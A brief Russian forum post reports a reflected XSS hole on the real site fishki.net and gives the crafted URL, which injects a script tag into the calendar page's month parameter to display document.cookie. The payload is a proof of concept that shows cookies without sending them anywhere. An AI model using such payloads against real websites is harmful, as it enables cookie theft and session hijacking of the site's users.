Сам сайт я не юзаю, но у нас в локали он весьма популярен - часто сцыллы проскакивают. Нашел там XSS
http://fishki.net/calendar1.php?month=08-2006"><script>alert(document.cookie);</script>